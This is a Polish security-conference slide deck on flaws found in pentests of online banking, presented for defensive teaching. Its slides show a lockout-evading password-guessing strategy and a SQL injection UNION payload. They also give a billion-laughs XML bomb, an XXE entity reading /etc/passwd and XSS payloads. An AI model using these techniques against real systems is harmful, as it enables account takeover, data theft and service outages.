Nawet w aplikacjach o wysokim profilu ryzyka, przy rygorystycznych procedurach tworzenia kodu oraz wyczerpujących testach, zdarzają się krytyczne błędy bezpieczeństwa. W prezentacji pokazane zostaną rzeczywiste przykłady takich błędów (znalezione w trakcie testów bezpieczeństwa bankowości elektronicznej), sposoby ich wykorzystania przez intruza, a także przyczyny ich występowania i sposoby unikania.
1. JAK WŁAMAŁEM SIĘ DO BANKU
Czy jesteś pewien, że twoja aplikacja jest bezpieczna?
Sławomir Jasek
SecuRing
4Developers, Warszawa, 7.04.2014 r.
2. Sławomir Jasek
Konsultant bezpieczeństwa (~ 10 lat), setki projektów, głównie
różnego typu aplikacje
SecuRing (od 2003)
Testowanie i doradztwo dotyczące bezpieczeństwa aplikacji i systemów IT
Jeśli to możliwe w ramach„white-box” (przegląd konfiguracji, kodu,
konsultacje), a także już na etapie definiowania architektury
Wynikiem testu jest dokładny raport opisujący szczegółowo znalezione
podatności (oraz wykonane testy), wraz z rekomendacjami/sposobami
naprawy
3. Disclaimer ;-)
● Wszelkie podobieństwo do istniejących systemów i
podatności jest przypadkowe
● Próby ataku na aplikacje bez zgody jej właściciela
mogą prowadzić do poważnych konsekwencji!
http://freestock.ca/signs_symbols_g43-grunge_warning_sign__do_not_read_this_sign_p1723.html
13. Uwierzytelnienie
● Sprawdzenie wszystkich identyfikatorów na
przeciętnym łączu zajmie maksymalnie kilka dni.
● Mamy istniejące identyfikatory. I co dalej?
● Wszystko jedno do którego konta się włamiemy.
Wystarczy, że zgadniemy hasło do dowolnego.
● Dla każdego identyfikatora próbujemy najprostsze
dopuszczalne hasła
● Po 3 próbach konto się blokuje. Sprawdzamy 2
hasła, żeby nie narobić szumu.
14. Uwierzytelnienie - hasła
• Najpopularniejsze na świecie:
password, 123456, abc123 ...
• A tymczasem w Polsce:
d**a, k**a, polska, legia…
• Minimalne wymogi złożoności (8 znaków, 1 cyfra,
znak specjalny), i mamy kandydata:
d**ak**a1!
15. Autoryzacja transakcji
● OK, możemy się zalogować, zobaczyć ile klient
zarabia, na co wydaje...
● Ale nadal nie możemy ukraść pieniędzy :-(
● Bank wymaga autoryzacji kodem SMS, przesyłanym
na zaufany numer
● Hmm... gdyby tak się dało zmienić numer telefonu do
SMS na swój?
16. Zmiana numeru telefonu do autoryzacji
● Hmm... a gdyby tak zmienić nr telefonu do
kodów SMS na swój?
● Krok 1
20. Przelew z cudzego konta
● No dobra, tego klienta wyczyściliśmy. Ale jest
jeszcze wielu innych, gdzie nie zgadliśmy
hasła...
● Przelew. A gdyby tak z cudzego konta? ;-)
● Hmm... zobaczmy.
22. Jak to się stało?
● Wewnętrzny stan aplikacji może być nadpisany w inny
sposób niż spodziewał się programista. Framework
czasami działa nawet zbyt dobrze ;)
● Enterprise Java Beans okiem pentestera:
http://despicableme.wikia.com/wiki/Minions/Gallery
25. Eskalujemy dalej
● Bankowość internetowa została napisana ze
szczególną dbałością o bezpieczeństwo
● Programiści znają problem SQL injection, wiedzą jak
należy poprawnie budować zapytania do bazy
● Kod źródłowy został poddany dokładnej analizie pod
tym kątem
26. Prepared statement / call
String sql = "select * from users where
firstname=? and lastname=?";
query = conn.prepareStatement(sql);
query.setString(1, "Jan");
query.setString(2, "Kowalski");
result = query.executeQuery();
Czy coś tu może być nie tak?
String sql = "{call
USERS.search(" + "?" + ", ?)}";
call = conn.prepareCall(sql);
call.setString(1, "Jan");
call.setString(2, "Kowalski");
call.execute();
27. Pod maską: procedura składowana
PROCEDURE search(
p_firstname IN T_STRING,
p_lastname IN T_STRING,
) IS
(...)
v_sql_select := ' SELECT distinct a.USER_ID';
v_sql_from := ' FROM APP_WEB.USERS a ';
v_sql_where := ' WHERE a.USER_ID is not null ';
IF p_firstname is not null THEN
v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =
lower(trim(' || P_FIRSTNAME || ')) ';
END IF;
28. Pod maską: procedura składowana
PROCEDURE search(
p_firstname IN T_STRING,
p_lastname IN T_STRING,
) IS
(...)
v_sql_select := ' SELECT distinct a.USER_ID';
v_sql_from := ' FROM APP_WEB.USERS a ';
v_sql_where := ' WHERE a.USER_ID is not null ';
IF p_firstname is not null THEN
v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =
lower(trim('|| 'adam')) union select version,'x' from v$instance-- || '))';
END IF;
29. Hacking - wg Hollywood
http://www.youtube.com/watch?v=F7qOV8xonfY
31. Atak na parser XML
● Parametry przesyłane z przeglądarki klienta przy
składaniu wniosku do banku są w formie XML
data=%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3Cuser%3E%0A%C2%A0%C2%A0%
C2%A0%C2%A0%3Cfirstname%3EJan%3C%2Ffirstname%3E%0A%C2%A0%C2%A0%C2%A0%
C2%A0%3Clastname%3EKowalski%3C%2Flastname%3E%0A%3C%2Fuser%3E
● czyli
<?xml version="1.0"?>
<user>
<firstname>Jan</firstname>
<lastname>Kowalski</lastname>
</user>
32. Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
]>
<lolz>&lol;</lolz>
<lolz>lol</lolz>
33. Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ELEMENT lolz (#PCDATA)>
]>
<lolz>&lol1;</lolz>
<lolz>lollollollollollollollollollol</lolz>
34. Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<user>
<firstname>Jan</firstname>
<lastname>Kowalski</lastname>
</user>
http://en.wikipedia.org/wiki/Billion_laughs
35. Co się stanie z serwerem?
http://www.youtube.com/watch?v=TDGaUotWlis
36. Atak na parser XML - XXE
● A gdyby tak:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
● Tylko w 2014 r. poległy już w ten sposób:
Google, Facebook, Ebay...
37. Cross Site Scripting
Nasz framework automagicznie koduje na wyjściu
wszystkie znaki specjalne do kontekstu HTML
<bean:write name="transferFormId" property="trn_recipient"/>
trn_recipient="<script>alert('xss')</script>
<input type="text" name="trn_recipient"
value=""<script>alert('xss')</script>"
38. Cross Site Scripting
● Ale w przyrodzie występują również m.in.
<bean:write name="transferFormId" property="trn_recipient"
filter="false"/>
<input value="${trnRecipient}"
● Lub wklejenie bezpośrednio w kontekst javascript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
41. Wnioski
● Myśl o bezpieczeństwie, patrz na aplikację z
pozycji intruza (modelowanie zagrożeń)
● Zasada ograniczonego zaufania do zewnętrznych
bibliotek, frameworków, warstw abstrakcji. RTFM,
łatki, konfiguracja...
● Nawet teoretycznie drobne błędy mogą przy
sprzyjających warunkach doprowadzić do
poważnych konsekwencji
● Bezpieczeństwo w SDLC – np. OpenSAMM
● Testy penetracyjne wykazują podatności, których
można nie zauważyć nawet przy przeglądzie kodu
https://www.flickr.com/photos/arenamontanus/2125942630/